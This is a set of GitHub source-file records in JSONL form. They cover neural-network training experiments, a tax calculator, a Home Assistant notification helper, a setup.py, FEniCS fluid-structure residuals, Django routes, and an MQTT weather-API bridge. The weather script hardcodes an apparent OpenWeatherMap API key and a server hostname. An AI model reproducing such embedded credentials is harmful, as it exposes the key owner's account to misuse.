y_true: y_train_sub})\n    test_err_rms = sess.run(cross_entropy, feed_dict={x: X_val, y_true: y_val})\n    error_earl_rms = sess.run(cross_entropy, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_rms.append(error_earl_rms)\n    if ear_stop_list_rms[j] > ear_stop_list_rms[j-1]:\n        break\n    test_error_list_rms.append(test_err_rms)\n    train_error_list_rms.append(train_err_rms)\n    \nfor k in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(train_step_adam, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_adam = sess.run(cross_entropy, feed_dict={x: X_train_sub, y_true: y_train_sub})\n    test_err_adam = sess.run(cross_entropy, feed_dict={x: X_val, y_true: y_val})\n    error_earl_adam = sess.run(cross_entropy, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_adam.append(error_earl_adam)\n    if ear_stop_list_adam[k] > ear_stop_list_adam[k-1]:\n        break\n    test_error_list_adam.append(test_err_adam)\n    train_error_list_adam.append(train_err_adam)  \n    \n    \n## Finding best activation function     \n# number of neurons in each layer\ninput_num_units = n_inputs\nhidden_num_units = 20\noutput_num_units = n_classes\n\n\n\n# define placeholders\nx = tf.placeholder(tf.float64, [None, input_num_units])\ny = tf.placeholder(tf.float64, [None, output_num_units])\n\n# set remaining variables\nepochs = 5\nbatch_size = 40\nlearning_rate = 0.01\n\n### define weights and biases of the neural network (refer this article if you don't understand the terminologies)\n\n\nweights = {\n    \n    'hidden': tf.Variable(np.random.randn(input_num_units, hidden_num_units), trainable = True),\n    'output': tf.Variable(np.random.randn(hidden_num_units, output_num_units), trainable = True)\n}\n\nbiases = {\n    \n    'hidden': tf.Variable(np.random.randn(hidden_num_units), trainable = True),\n    'output': tf.Variable(np.random.randn(output_num_units), trainable = True)\n}    \n    \n\nhidden_layer = tf.add(tf.matmul(x, weights['hidden']), biases['hidden'])\nhidden_layer = tf.nn.relu(hidden_layer)\n\noutput_layer =  tf.nn.softmax(tf.matmul(hidden_layer, weights['output']) + biases['output'])\n\noutput_clipped = tf.clip_by_value(output_layer, 1e-10, 0.9999999)\ncost = tf.reduce_mean(-tf.reduce_sum(y_true * tf.log(output_clipped), reduction_indices=[1]))\n#cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(output_layer, y))\n\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ninit = tf.global_variables_initializer() \nsess = tf.Session()\nsess.run(init)\n\ntrain_error_list_relu = []\ntest_error_list_relu = []\near_stop_list_relu = []\n\nX_batch_list = np.array_split(X_train_sub, batch_size)\nlabels_batch_list = np.array_split(y_train_sub, batch_size)\n\nfor i in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(optimizer, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_relu = sess.run(cost, feed_dict={x: X_train_sub, y_true: y_train_sub})\n    test_err_relu = sess.run(cost, feed_dict={x: X_val, y_true: y_val})\n    error_earl_relu = sess.run(cost, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_relu.append(error_earl_relu)\n    if ear_stop_list_relu[i] > ear_stop_list_relu[i-1]:\n        break\n    test_error_list_relu.append(test_err_relu)\n    train_error_list_relu.append(train_err_relu)\nprint(\"Stopped at:\", i)    \n\n#Training for tanh activation function\nhidden_layer_tanh = tf.nn.tanh(hidden_layer)\n\n\noutput_layer_tanh =  tf.nn.softmax(tf.matmul(hidden_layer_tanh, weights['output']) + biases['output'])\n\noutput_clipped_tanh = tf.clip_by_value(output_layer_tanh, 1e-10, 0.9999999)\ncost = tf.reduce_mean(-tf.reduce_sum(y_true * tf.log(output_clipped_tanh), reduction_indices=[1]))\n\n\noptimizer_tanh = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ninit = tf.global_variables_initializer() \nsess = tf.Session()\nsess.run(init)\n\ntrain_error_list_tanh = []\ntest_error_list_tanh = []\near_stop_list_tanh = []\n\nX_batch_list = np.array_split(X_train_sub, batch_size)\nlabels_batch_list = np.array_split(y_train_sub, batch_size)\n\nfor j in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(optimizer_tanh, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_tanh = sess.run(cost, feed_dict={x: X_train_sub, y_true: y_train_sub})\n    test_err_tanh = sess.run(cost, feed_dict={x: X_val, y_true: y_val})\n    error_earl_tanh = sess.run(cost, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_tanh.append(error_earl_tanh)\n    if ear_stop_list_tanh[j] > ear_stop_list_tanh[j-1]:\n        break\n    test_error_list_tanh.append(test_err_tanh)\n    train_error_list_tanh.append(train_err_tanh)\nprint(\"Stopped at:\", j)\n\n#Training for sigmoidal activation function\nhidden_layer_sig = tf.nn.sigmoid(hidden_layer)\n\n\noutput_layer_sig =  tf.nn.softmax(tf.matmul(hidden_layer_sig, weights['output']) + biases['output'])\n\noutput_clipped_sig = tf.clip_by_value(output_layer_sig, 1e-10, 0.9999999)\ncost = tf.reduce_mean(-tf.reduce_sum(y_true * tf.log(output_clipped_sig), reduction_indices=[1]))\n\n\noptimizer_sig = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ninit = tf.global_variables_initializer() \nsess = tf.Session()\nsess.run(init)\n\ntrain_error_list_sig = []\ntest_error_list_sig = []\near_stop_list_sig = []\n\nX_batch_list = np.array_split(X_train_sub, batch_size)\nlabels_batch_list = np.array_split(y_train_sub, batch_size)\n\nfor k in range(20):\n    for x_minibatch, labels_minibatch in zip(X_batch_list, labels_batch_list):\n        sess.run(optimizer_sig, feed_dict={x: x_minibatch, y_true: labels_minibatch})\n    \n    train_err_sig = sess.run(cost, feed_dict={x: X_train_sub, y_true: y_train_sub})\n    test_err_sig = sess.run(cost, feed_dict={x: X_val, y_true: y_val})\n    error_earl_sig = sess.run(cost, feed_dict={x: X_earl, y_true: y_earl})\n    ear_stop_list_sig.append(error_earl_tanh)\n    if ear_stop_list_sig[k] > ear_stop_list_sig[k-1]:\n        break\n    test_error_list_sig.append(test_err_sig)\n    train_error_list_sig.append(train_err_sig)\nprint(\"Stopped at:\", k)\n\n\n\n    \n   ","repo_name":"yashasudupa/Master-projects","sub_path":"Neural Networks/Task3/HW3/nn17_ex3_main.py","file_name":"nn17_ex3_main.py","file_ext":"py","file_size_in_byte":9642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74136387921","text":"def taxa():\r\n    taxaimposto=int(input(\"digite o porcentagem do taxa do imposto: \"))\r\n    taxaimposto=1+taxaimposto/100\r\n    custo=int(input(\"digite o custo desse item: \"))\r\n    custo=custo*taxaimposto\r\n    print(f\"o custo desse item depois do taxa do imposto e {custo}\")\r\n\r\n\r\nprint(\"eu sou o taxomatico. cálculo o custo de coisas depois do taxa de imposto\")\r\ntaxa()\r\n\r\n\r\n","repo_name":"ilewis-cool/REPOSITORY_A1","sub_path":"A20.py","file_name":"A20.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23871458855","text":"\"\"\"\nHelper to notify Core about issues.\n\nThis helper creates persistant notification in the Core UI.\nIn the future we want to remove this in favour of a \"center\" in the UI.\n\"\"\"\nimport logging\n\nfrom ..coresys import CoreSys, CoreSysAttributes\nfrom ..exceptions import HomeAssistantAPIError\nfrom .checks.core_security import SecurityReference\nfrom .const import ContextType, IssueType\n\n_LOGGER: logging.Logger = logging.getLogger(__name__)\n\n\nclass ResolutionNotify(CoreSysAttributes):\n    \"\"\"Notify class for resolution.\"\"\"\n\n    def __init__(self, coresys: CoreSys):\n        \"\"\"Initialize the notify class.\"\"\"\n        self.coresys = coresys\n\n    async def issue_notifications(self):\n        \"\"\"Create persistant notifications about issues.\"\"\"\n        if (\n            not self.sys_resolution.issues\n            or not await self.sys_homeassistant.api.check_api_state()\n        ):\n            return\n\n        messages = []\n\n        for issue in self.sys_resolution.issues:\n            if issue.type == IssueType.FREE_SPACE:\n                messages.append(\n                    {\n                        \"title\": \"Available space is less than 1GB!\",\n                        \"message\": f\"Available space is {self.sys_host.info.free_space}GB, see https://www.home-assistant.io/more-info/free-space for more information.\",\n                        \"notification_id\": \"supervisor_issue_free_space\",\n                    }\n                )\n            if issue.type == IssueType.SECURITY and issue.context == ContextType.CORE:\n                if (\n                    issue.reference\n                    == SecurityReference.CUSTOM_COMPONENTS_BELOW_2021_1_5\n                ):\n                    messages.append(\n                        {\n                            \"title\": \"Security notification\",\n                            \"message\": \"The Supervisor detected that this version of Home Assistant could be insecure in combination with custom integrations. [Update as soon as possible.](/hassio/dashboard)\\n\\nFor more information see the [Security alert](https://www.home-assistant.io/latest-security-alert).\",\n                            \"notification_id\": \"supervisor_update_home_assistant_2021_1_5\",\n                        }\n                    )\n            if issue.type == IssueType.PWNED and issue.context == ContextType.ADDON:\n                messages.append(\n                    {\n                        \"title\": f\"Insecure secrets in {issue.reference}\",\n                        \"message\": f\"The add-on {issue.reference} uses secrets which are detected as not secure, see https://www.home-assistant.io/more-info/pwned-passwords for more information.\",\n                        \"notification_id\": f\"supervisor_issue_pwned_{issue.reference}\",\n                    }\n                )\n\n        for message in messages:\n            try:\n                async with self.sys_homeassistant.api.make_request(\n                    \"post\",\n                    \"api/services/persistent_notification/create\",\n                    json=message,\n                ) as resp:\n                    if resp.status in (200, 201):\n                        _LOGGER.debug(\"Successfully created persistent_notification\")\n                    else:\n                        _LOGGER.error(\"Can't create persistant notification\")\n            except HomeAssistantAPIError:\n                _LOGGER.error(\"Can't create persistant notification\")\n","repo_name":"home-assistant/supervisor","sub_path":"supervisor/resolution/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","stars":1510,"dataset":"github-code","pt":"3"}
+{"seq_id":"25575186494","text":"from setuptools import setup, find_packages\nfrom codecs import open\n\n__version__ = '0.0.1'\n\n# Get the long description from the README file\nwith open('README.rst', encoding='utf-8') as f:\n    long_description = f.read()\n\n# Get the dependencies and installs\nwith open('requirements.txt', encoding='utf-8') as f:\n    all_reqs = f.read().split('\\n')\n\n# install_requires = [x.strip() for x in all_reqs if 'git+' not in x]\n# dependency_links = [x.strip().replace('git+', '') for x in all_reqs if x.startswith('git+')]\n\ninstall_requires = [x.strip() for x in all_reqs]\n\nsetup(\n    name='citlab_article_separation',\n    version=__version__,\n    description='Python utility functions for different kind of tasks.',\n    long_description=long_description,\n    url='https://github.com/CITlabRostock/citlab-article-separation',\n    packages=find_packages(exclude=['tests', 'docs', 'examples']),\n    license='Apache License 2.0',\n    author='CITlab',\n    author_email='max.weidemann@uni-rostock.de, bastian.laasch@uni-rostock.de, johannes.michael@uni-rostock.de',\n    install_requires=install_requires,\n    classifiers=[\n        \"Programming Language :: Python :: 3.6\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Operating System :: OS Independent\"\n    ]\n)\n","repo_name":"CITlabRostock/citlab-article-separation","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"69846669178","text":"\"This module specifies the Residual forms for the monolithic FSI problem.\"\n\n__author__ = \"Gabriel Balaban\"\n__copyright__ = \"Copyright (C) 2010 Simula Research Laboratory and %s\" % __author__\n__license__  = \"GNU GPL Version 3 or any later version\"\n\nfrom dolfin import *\nfrom cbc.swing.operators import *\nfrom cbc.twist import PiolaTransform\nfrom cbc.swing.operators import Sigma_F as _Sigma_F\nfrom cbc.swing.operators import Sigma_S as _Sigma_S\nfrom cbc.swing.operators import Sigma_M as _Sigma_M\nfrom cbc.swing.operators import F, J\nfrom cbc.twist.kinematics import SecondOrderIdentity as I\n\n\n##Throughout this module the following notation is used.\n\n##U_F Fluid Velocity\n##P_F Fluid Pressure\n##L_U Fluid Lagrange multiplier that enforces kinematic continuity of fluid and structure\n\n##D_S Structure displacement\n##U_S Structure Velocity\n\n##D_F Fluid Domain (Mesh) Displacement\n##L_D Fluid Domain (Mesh) lagrange multiplier that enforces displacement matching with structure on FSI boundary\n\n##Test functions are related to their trial functions by the following letter substitution.\n## u-> v , p-> q, l-> m , d -> c\n\ndef sum(somelist):\n    res = somelist[0]\n    for elem in somelist[1:]:\n        res += elem\n    return res\n        \ndef fsi_residual(U1list,Umidlist,Udotlist,Vlist,matparams,measures,forces,normals,solver_params):\n    \"\"\"\"\n    Build the residual forms for the full FSI problem\n    including the fluid, structure and mesh equations\n\n    U1list   - List of current fsi variables\n             - U1_F,P1_F,L1_U,D1_S,U1_S,D1_F,L1_D\n\n    Umidlist - List of time approximated fsi variables, mid here is from the point of view of cG(1)\n             - U_Fmid,P_Fmid,L_Umid,D_Smid,U_Smid,D_Fmid,L_Dmid\n\n    V        - List of Test functions\n             - v_F,q_F,m_U,c_S,v_S,c_F,m_D\n               \n    matparams - Dictionary of material parameters\n              - mu_F,rho_F,mu_S,lmbda_S,rho_S\n\n    measures  - Dictionary of measures\n\n    forces - Dictionary of body and boundary forces\n           - F_F,F_S,F_M,G_S,g_F\n             (F = body force, G_S = extra FSI traction on structure, g_F = fluid boundary force)\n\n    normals - Dictionary of outer normals\n            - N_F, N_S       \n    \"\"\"\n    info_blue(\"Creating residual forms\")\n\n    #Unpack the functions\n    U1_F,P1_F,L1_U,D1_S,U1_S,D1_F,L1_D = U1list\n\n    #Test Functions\n    v_F,q_F,m_U,c_S,v_S,c_F,m_D = Vlist\n\n    #Unpack Material Parameters\n    mu_F = matparams[\"mu_F\"]\n    rho_F = matparams[\"rho_F\"]\n    mu_S = matparams[\"mu_S\"]\n    lmbda_S = matparams[\"lmbda_S\"]\n    rho_S = matparams[\"rho_S\"]\n    #The user interface referes here to \"mesh-M\", wheras interally\n    #these parameters refer to \"fluid domain-FD\"\n    mu_FD = matparams[\"mu_M\"]\n    lmbda_FD = matparams[\"lmbda_M\"]\n\n    #Unpack lists of Measures\n    dxF = measures[\"fluid\"]\n    dxS = measures[\"structure\"]\n    dsF = measures[\"fluidneumannbound\"]\n    dsS = measures[\"strucbound\"]\n    dFSI = measures[\"FSI_bound\"]\n    dsDN = measures[\"donothingbound\"]\n    \n    #Unpack forces\n    F_F = forces[\"F_F\"]\n    F_S = forces[\"F_S\"]\n    #Here \"Mesh\" is internally \"fluid domain\"\n    F_FD = forces[\"F_M\"]\n    G_S = forces[\"G_S\"]\n    G_F = forces[\"G_F\"]\n    G_F_FSI = forces[\"G_F_FSI\"]\n\n    #Unpack Normals\n    N_F = normals[\"N_F\"]\n    N_S = normals[\"N_S\"]\n\n\n    #Unpack the time approximations\n    U_Fmid,P_Fmid,L_Umid,D_Smid,U_Smid,D_Fmid,L_Dmid = Umidlist\n    U_Fdot,P_Fdot,L_Udot,D_Sdot,U_Sdot,D_Fdot,L_Ddot = Udotlist\n\n    #Fluid Residual\n    if solver_params[\"fluid_domain_time_discretization\"] == \"end-point\": D_F = D1_F\n    elif solver_params[\"fluid_domain_time_discretization\"] ==\"mid-point\":D_F = D_Fmid\n    else: raise Exception(\"Only mid-point and end-point are possible \\\n                          fluid_domain_time_discretization parameter values \\\n                          current value is %s\"%solver_params[\"fluid_domain_time_discretization\"])\n    r_F = fluid_residual(U_Fdot,U_Fmid,U1_F,P1_F,v_F,q_F,mu_F,rho_F,D_F,N_F,dxF,dsDN,dsF,F_F,D_Fdot,G_F)\n    \n    #Structure Residual\n    r_S = struc_residual(D_Sdot,U_Sdot,D_Smid,U_Smid,c_S,v_S,mu_S,lmbda_S,rho_S,dxS,dsS,F_S)\n\n    #Fluid Domain Residual\n    r_FD = fluid_domain_residual(D_Fdot,D_Fmid,c_F,mu_FD,lmbda_FD,dxF,F_FD)\n\n    #Interface residual\n    r_FSI = interface_residual(U1_F,U_Fmid,P_Fmid,D1_S,U1_S,D1_F,D_Fmid,L1_U,L1_D,v_F,c_S,\n                                c_F,m_D,m_U,mu_F,N_F,dFSI,Exact_SigmaF = G_F_FSI,G_S = G_S)\n    \n    #Define full FSI residual\n    r = r_F + r_S + r_FD + r_FSI\n\n    #Store the partial residuals in a dictionary\n    blockresiduals = {\"r_F\":r_F,\"r_S\":r_S,\"r_FD\":r_FD,\"r_FSI\":r_FSI}\n\n    #return the full residual and partial residuals (for testing)\n    return r,blockresiduals\n\ndef fluid_residual(U_Fdot,U_F,U1_F,P_F,v_F,q_F,mu,rho,D_F,N_F,dx_Flist,ds_DNlist,ds_Flist,\n                   F_F,D_Fdot, G_F=None):\n    #Fluid equation in the Domain\n    forms = []\n    for dx_F in dx_Flist:\n        Dt_U = rho*J(D_F)*(U_Fdot + dot(grad(U_F),dot(inv(F(D_F)),U_F - D_Fdot)))\n            \n        Sigma_F = PiolaTransform(_Sigma_F(U_F, P_F, D_F, mu), D_F)\n\n        #DT\n        R_F  = inner(v_F, Dt_U)*dx_F                                                                      \n\n        #Div Sigma F\n        R_F += inner(grad(v_F), Sigma_F)*dx_F\n\n        #Incompressibility\n        R_F += inner(q_F, div(J(D_F)*dot(inv(F(D_F)), U_F)))*dx_F\n\n        #Right hand side Fluid (body force)\n        if F_F is not None and F_F != []:\n            info(\"Using Fluid body force\")\n            R_F += -inner(v_F,J(D_F)*F_F)*dx_F\n        forms.append(R_F)\n\n    #Use do nothing BC if specified\n    for ds_DN in ds_DNlist:\n        info(\"Using Do nothing Fluid BC\")\n        DN_F = -inner(v_F, J(D_F)*dot((mu*inv(F(D_F)).T*grad(U_F).T - P_F*I(U_F))*inv(F(D_F)).T, N_F))*ds_DN\n        forms.append(DN_F)\n                       \n    #Add boundary traction (sigma dot n) to fluid boundary if specified.\n    for ds_F in ds_Flist:\n        info(\"Using Fluid boundary Traction (Neumann) BC\")\n        B_F =  -inner(G_F, v_F)*ds_F\n        forms.append(B_F)\n    return sum(forms)\n\ndef struc_residual(Ddot_S,Udot_S,D_S, U_S,c_S,v_S,mu_S,lmbda_S,rho_S,dx_Slist,ds_Slist,F_S):                  \n    Sigma_S = _Sigma_S(D_S, mu_S, lmbda_S)\n    forms = []\n    for dx_S in dx_Slist:\n        #Hyperelasticity equations St. Venant Kirchoff\n        R_S = inner(c_S, rho_S*Udot_S)*dx_S + inner(grad(c_S), Sigma_S)*dx_S + inner(v_S, Ddot_S -U_S)*dx_S\n        #Right hand side Structure (Body force)\n        if F_S is not None and F_S != []:\n            info(\"Using structure body force\")\n            R_S += -inner(c_S,F_S)*dx_S\n        forms.append(R_S)\n        \n    #No Neumann terms at the moment\n    return sum(forms)\n\ndef fluid_domain_residual(Ddot_F,D_F,c_F,mu_FD,lmbda_FD,dx_Flist,F_FD):\n    #Fluid Domain (Mesh) stress tensor\n    Sigma_FD = _Sigma_M(D_F, mu_FD, lmbda_FD)\n    forms = []\n    \n    for dx_F in dx_Flist:\n        #Fluid Domain equation\n        R_FD = inner(c_F, Ddot_F)*dx_F + inner(sym(grad(c_F)), Sigma_FD)*dx_F\n        #Right hand side mesh (Body Force)\n        if F_FD is not None and F_FD != []:\n            info(\"Using fluid domain body force\")\n            R_FD += -inner(c_F,F_FD)*dx_F\n        forms.append(R_FD)\n    return sum(forms)\n\ndef interface_residual(U_F,U_Fmid,P_Fmid,D_S,U_S,D_F,D_Fmid,L_U,L_D,v_F,c_S,\n                       c_F,m_D,m_U,mu_F,N_F,dFSIlist,Exact_SigmaF,G_S):\n    \"\"\"Residual for interface conditions on the FSI interface\"\"\"\n    forms = []\n    for dFSI in dFSIlist:\n        #Displacement Lagrange Multiplier\n        R_FSI =  inner(m_D, D_F - D_S)('+')*dFSI\n        R_FSI += inner(c_F, L_D)('+')*dFSI\n\n        #Velocity Lagrange Multiplier\n        R_FSI += inner(m_U,U_F - U_S)('+')*dFSI\n        R_FSI += inner(v_F,L_U)('+')*dFSI\n\n        #Stress Continuity\n        if Exact_SigmaF is None or Exact_SigmaF == []:\n            #Calculated fluid traction on structure\n            Sigma_F = PiolaTransform(_Sigma_F(U_Fmid, P_Fmid, D_Fmid, mu_F), D_Fmid)\n            R_FSI += -(inner(dot(Sigma_F('+'),N_F('-')),c_S('-')))*dFSI\n        else:\n            #Prescribed fluid traction on structure\n            info(\"Using perscribed Fluid Stress on fsi boundary\")\n            R_FSI += (inner(Exact_SigmaF('+'),c_S('-')))*dFSI\n            \n        #Optional boundary traction term\n        if G_S is not None and G_S != []:\n            info(\"Using additional FSI boundary traction term\")\n            R_FSI += inner(G_S('-'),c_S('-'))*dFSI\n        forms.append(R_FSI)\n    return sum(forms)\n","repo_name":"astrojuanlu/CBC.Solve","sub_path":"cbc/swing/fsinewton/solver/residualforms.py","file_name":"residualforms.py","file_ext":"py","file_size_in_byte":8510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"19712812671","text":"from django.urls import path\nfrom admins import views\n\nurlpatterns = [\n    path('', views.admin_dashboard),\n\n    path('allCourses/', views.allCourses, name='allcourses'),\n    path('CourseCreate/', views.CourseCreate, name='createcourse'),\n    path('editCourse/<int:course_id>/', views.editCourse),\n    path('allModules/<int:course_id>', views.allModules),\n    path('addModule/<int:course_id>', views.ModuleCreate),\n    path('editModule/<int:course_id>/<int:module_id>/', views.editModule),\n    path('delCourse/<int:course_id>/', views.DeleteCourse),\n    path('delModule/<int:course_id>/<int:module_id>/', views.DeleteModule),\n    path('allNews/', views.allNews, name='allnews'),\n    path('editQNA/<int:exam_id>/<int:qna_id>/', views.editQNA),\n    path('newsPost/', views.newsPost, name='newspost'),\n    path('editNewsPost/<int:id>/', views.editnewsPost),\n    path('allExams/<int:course_id>', views.allExams),\n    path('examCreate/<int:course_id>/', views.ExamCreate, name='exam-create'),\n    path('allQNA/<int:exam_id>', views.allQNA),\n    path('qnaCreate/<int:exam_id>/', views.QNA),\n    path('QsnCreate/<int:exam_id>', views.MainExam),\n    path('ViewQsn/<int:exam_id>', views.ViewQsn),\n    path('allContactMessages/', views.contactmessage),\n    path('messageView/<int:id>/', views.MessageView),\n    path('response/<int:id>/', views.Response_),\n    path('delResponse/<int:response_id>/', views.DeleteResponse),\n    path('hideCourse/<int:hide_id>/', views.HideCourse),\n    path('delNewsPost/<int:id>/', views.DeletenewsPost),\n\n]\n","repo_name":"Jiwan97/PadhanPathan","sub_path":"admins/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13873121350","text":"import requests\r\nimport json\r\nimport paho.mqtt.client as mqtt\r\nimport time\r\n\r\nHELP_TEXT = '''Look at shorturl.at/akyES for some docs!'''\r\n\r\nAPIKEY = '8112c86d6d4fca7a4ab5fed299a7d259'\r\nMQTT_SERVER = 'ec2-100-27-23-78.compute-1.amazonaws.com'\r\nMQTT_PORT = 1883\r\n\r\nAPI_PARAM={'appid':APIKEY}\r\nWEATHER_ENDPOINT = 'https://api.openweathermap.org/data/2.5/weather'\r\nAIR_POLLUTION_ENDPOINT = 'http://api.openweathermap.org/data/2.5/air_pollution' # Solo funciona por coordenadas\r\nGEOCODING_ENDPOINT = 'http://api.openweathermap.org/geo/1.0/' # (Ciudad, estado de EEUU y codigo de pais, separados por coma Y [numero de localizaciones máx. 5]) o (codigo postal y codigo de pais)\r\nONECALL_ENDPOINT = 'https://api.openweathermap.org/data/2.5/onecall'\r\nLAST_ONETIME_SENT = int(time.time()) # segs desde desde 1/1/1970 00:00:00\r\nLAST_MIN_NORMAL_CHECK = int(time.time() / 60) # mins desde 1/1/1970 00:00:00\r\nMADE_NORMAL_CALLS = 0\r\n\r\nclient = mqtt.Client(client_id=\"WeatherAPIID\", \r\n                     clean_session=True,\r\n                     userdata=None, \r\n                     protocol=mqtt.MQTTv311, \r\n                     transport=\"tcp\")\r\n\r\ndef pushMsg(topic, payload):\r\n    res = {\"res\": str(payload)}\r\n    client.publish(topic, json.dumps(res),\r\n                   qos=0, retain=False)\r\n\r\ndef on_connect(client, userdata, flags, rc):\r\n    print(\"Connected to \", client._host, \"port: \", client._port)\r\n    print(\"Flags: \", flags, \"returned code: \", rc)\r\n\r\n    client.subscribe(\"reqs/+\", qos=0)\r\n    client.subscribe(\"help\", qos=0)\r\n\r\ndef makeCurrentWeatherCall(msg, topic):\r\n\r\n    params = dict(API_PARAM)\r\n    reqtype = msg[\"type\"]\r\n\r\n    global MADE_NORMAL_CALLS\r\n\r\n    try:\r\n        resmode = msg[\"mode\"]\r\n\r\n        if (resmode != \"JSON\" and resmode != \"xml\" and resmode != \"html\"):\r\n            pushMsg(topic+\"/resp\", \"mode not one of JSON, XML or HTML\")\r\n            return\r\n    except:\r\n        resmode = \"JSON\"\r\n\r\n    params[\"mode\"]=resmode\r\n\r\n    try:\r\n        resunits = msg[\"units\"]\r\n\r\n        if (resunits != \"standard\" and resunits != \"metric\" and resunits != \"imperial\"):\r\n            pushMsg(topic+\"/resp\", \"units not one of standard, metric or imperial\")\r\n            return\r\n    except:\r\n        resunits = \"standard\"\r\n\r\n    params[\"units\"]=resunits\r\n\r\n    try:\r\n        reslang = msg[\"lang\"]\r\n    except:\r\n        reslang = \"en\"\r\n\r\n    params[\"lang\"]=reslang\r\n\r\n    if (reqtype == \"city\"):\r\n\r\n        try:\r\n            cityname_param = msg[\"city_name\"]\r\n            try:\r\n                statecode = msg[\"state_code\"]\r\n                cityname_param = cityname_param + \",\" + statecode\r\n                try:\r\n                    countrycode = msg[\"country_code\"]\r\n                    cityname_param = cityname_param + \",\" + countrycode\r\n                    print(\"City name AND state_code AND county_code\")\r\n                except:\r\n                    print(\"City name AND state_code\")\r\n            except:\r\n                print(\"Only city name\")\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"At least 'city_name' must be present for a City name request\")\r\n            return\r\n\r\n        params[\"q\"]=cityname_param\r\n        respuesta = requests.get(WEATHER_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        pushMsg(topic+\"/resp\",respuesta.content)     \r\n    elif (reqtype == \"id\"):\r\n        try:\r\n            params[\"id\"] = msg[\"city_id\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'city_id' needed for a city ID request\")\r\n            return\r\n\r\n        respuesta = requests.get(WEATHER_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"geo\"):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for a geo coord request\")\r\n            return\r\n            \r\n        respuesta = requests.get(WEATHER_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"zip\"):\r\n        zipparam = None\r\n        try:\r\n            zipparam = msg[\"zip\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'zip' code must be present for a zip code request\")\r\n            return\r\n\r\n        try:\r\n            countrycode = msg[\"country_code\"]\r\n            zipparam = zipparam + \",\" + countrycode\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'countrycode' code must be present for a zip code request\")\r\n            return\r\n            \r\n        params['zip']=zipparam\r\n        respuesta = requests.get(WEATHER_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    else:\r\n        pushMsg(topic+\"/resp\",\"The selected request type is not valid for a current weather request\")\r\n        return\r\n    \r\n    MADE_NORMAL_CALLS += 1\r\n\r\ndef makeAirPollutionCall(msg, topic):\r\n    \r\n    global MADE_NORMAL_CALLS\r\n    \r\n    params = dict(API_PARAM)\r\n    reqtype = msg[\"type\"]\r\n\r\n    if (reqtype == \"current\"):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for an Air Pollution Request\")\r\n            return\r\n            \r\n        respuesta = requests.get(AIR_POLLUTION_ENDPOINT, params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"forecast\"):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for an Air Pollution Forecast Request\")\r\n            return\r\n            \r\n        respuesta = requests.get(AIR_POLLUTION_ENDPOINT+\"/forecast\", params=params)\r\n\r\n        print(respuesta.content)\r\n        print(respuesta.url)\r\n        pushMsg(topic+\"/resp\",respuesta.content)\r\n    elif (reqtype == \"history\"):\r\n        try:\r\n            params[\"lat\"] = msg[\"lat\"]\r\n            params[\"lon\"] = msg[\"lon\"]\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'lat' AND 'lon' must be present for an Air Pollution Historical Request\")\r\n            return\r\n        \r\n        try:\r\n            params[\"start\"] = int(msg[\"start\"])\r\n            params[\"end\"] = int(msg[\"end\"])\r\n        except:\r\n            pushMsg(topic+\"/resp\", \"'start' AND 'end' must be present AND an integer for an Air Pollution Historical Request\")\r\n            return\r\n        \r\n        respuesta = requests.get(AIR_POLLUTION_ENDPOINT+\"/history\", params=params)\r\n\r\n        print(respuesta.content)\r\n        